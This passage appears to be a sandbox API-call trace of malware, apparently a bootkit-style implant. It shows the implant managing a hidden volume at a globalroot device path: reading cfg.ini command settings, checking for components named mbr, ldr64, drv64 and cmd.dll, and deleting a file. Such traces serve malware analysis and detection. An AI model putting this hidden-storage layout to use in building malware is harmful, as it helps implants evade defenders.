BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c9c000 [0122.478] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.478] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.478] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.478] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.478] IdePortDispatch () returned 0x103 [0122.478] KeWaitForMutexObject () returned 0x0 [0122.478] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.478] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.478] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.478] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.479] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.479] IdePortDispatch () returned 0x103 [0122.479] KeWaitForMutexObject () returned 0x0 [0122.479] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.479] KeLeaveCriticalRegion () [0122.479] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.479] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.479] KeEnterCriticalRegion () [0122.479] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.479] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.479] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.479] KeLeaveCriticalRegion () [0122.479] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.479] KeEnterCriticalRegion () [0122.479] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.479] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.479] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be6e20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.479] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.480] KeLeaveCriticalRegion () [0122.480] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.480] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.480] KeEnterCriticalRegion () [0122.480] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.480] ExFreePoolWithTag (P=0xfffffa8003bd6670, Tag=0x0) [0122.480] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.480] KeLeaveCriticalRegion () [0122.480] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.480] ReleaseMutex (hMutex=0xf0) returned 1 [0122.480] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.480] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0122.480] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.480] KeEnterCriticalRegion () [0122.480] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.480] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.480] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.480] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.480] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.480] IdePortDispatch () returned 0x103 [0122.480] KeWaitForMutexObject () returned 0x0 [0122.480] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.480] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.480] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.480] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.480] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.480] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc3940 [0122.480] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.480] KeLeaveCriticalRegion () [0122.480] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.480] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.480] KeEnterCriticalRegion () [0122.480] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.480] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.480] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.480] KeLeaveCriticalRegion () [0122.481] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.481] KeEnterCriticalRegion () [0122.481] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.481] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.481] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.481] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.481] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.481] IdePortDispatch () returned 0x103 [0122.481] KeWaitForMutexObject () returned 0x0 [0122.481] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.481] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.481] KeLeaveCriticalRegion () [0122.481] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.481] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.481] KeEnterCriticalRegion () [0122.481] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.481] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c9d000 [0122.481] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.481] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.481] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.481] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.481] IdePortDispatch () returned 0x103 [0122.481] KeWaitForMutexObject () returned 0x0 [0122.481] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.481] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.481] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.481] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.481] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.481] IdePortDispatch () returned 0x103 [0122.482] KeWaitForMutexObject () returned 0x0 [0122.482] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.482] KeLeaveCriticalRegion () [0122.482] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.482] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.482] KeEnterCriticalRegion () [0122.482] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.482] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.482] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.482] KeLeaveCriticalRegion () [0122.482] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.482] KeEnterCriticalRegion () [0122.482] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.482] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.482] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be59f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.482] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.482] KeLeaveCriticalRegion () [0122.482] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.482] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.482] KeEnterCriticalRegion () [0122.482] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.482] ExFreePoolWithTag (P=0xfffffa8003bc3940, Tag=0x0) [0122.482] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.483] KeLeaveCriticalRegion () [0122.483] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.483] ReleaseMutex (hMutex=0xf0) returned 1 [0122.483] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0122.483] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0122.483] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0122.483] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.483] KeEnterCriticalRegion () [0122.483] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.483] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.483] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.483] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.483] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.483] IdePortDispatch () returned 0x103 [0122.483] KeWaitForMutexObject () returned 0x0 [0122.483] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.483] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.483] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.483] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.483] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.483] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.483] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.483] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.483] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.483] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.483] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.483] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.483] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.483] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.483] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.483] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.483] KeLeaveCriticalRegion () [0122.483] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.483] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0122.483] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.484] KeEnterCriticalRegion () [0122.484] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.484] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.484] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.484] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.484] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.484] IdePortDispatch () returned 0x103 [0122.484] KeWaitForMutexObject () returned 0x0 [0122.484] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.484] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.484] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.484] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.484] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.484] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.484] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.484] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.484] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.484] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.484] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.484] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.484] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.484] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.484] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.484] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.484] KeLeaveCriticalRegion () [0122.484] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.484] ReleaseMutex (hMutex=0x100) returned 1 [0122.484] Sleep (dwMilliseconds=0x2bf20) [0122.490] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c34c450, dwHighDateTime=0x1d24fa4)) [0122.490] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0122.490] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.490] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.490] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.490] KeEnterCriticalRegion () [0122.490] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.490] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.491] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.491] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.491] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.491] IdePortDispatch () returned 0x103 [0122.491] KeWaitForMutexObject () returned 0x0 [0122.491] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.491] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.491] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.491] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.491] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.491] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bd6670 [0122.491] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.491] KeLeaveCriticalRegion () [0122.491] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.491] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.491] KeEnterCriticalRegion () [0122.491] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.491] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.491] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.491] KeLeaveCriticalRegion () [0122.491] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.491] KeEnterCriticalRegion () [0122.491] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.491] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.491] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.491] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.491] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.491] IdePortDispatch () returned 0x103 [0122.491] KeWaitForMutexObject () returned 0x0 [0122.491] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.491] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.491] KeLeaveCriticalRegion () [0122.492] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.492] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.492] KeEnterCriticalRegion () [0122.492] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.492] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ca0000 [0122.492] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.492] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.492] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.492] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.492] IdePortDispatch () returned 0x103 [0122.492] KeWaitForMutexObject () returned 0x0 [0122.492] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.492] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.492] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.492] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.492] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.492] IdePortDispatch () returned 0x103 [0122.492] KeWaitForMutexObject () returned 0x0 [0122.492] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.492] KeLeaveCriticalRegion () [0122.492] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.493] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.493] KeEnterCriticalRegion () [0122.493] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.493] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.493] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.493] KeLeaveCriticalRegion () [0122.493] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.493] KeEnterCriticalRegion () [0122.493] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.493] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.493] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be59f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.493] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.493] KeLeaveCriticalRegion () [0122.493] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.493] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.493] KeEnterCriticalRegion () [0122.493] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.493] ExFreePoolWithTag (P=0xfffffa8003bd6670, Tag=0x0) [0122.493] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.493] KeLeaveCriticalRegion () [0122.493] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.493] ReleaseMutex (hMutex=0xf0) returned 1 [0122.493] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.493] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.493] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.493] KeEnterCriticalRegion () [0122.493] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.493] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.493] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.493] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.493] KeInitializeEvent (in: 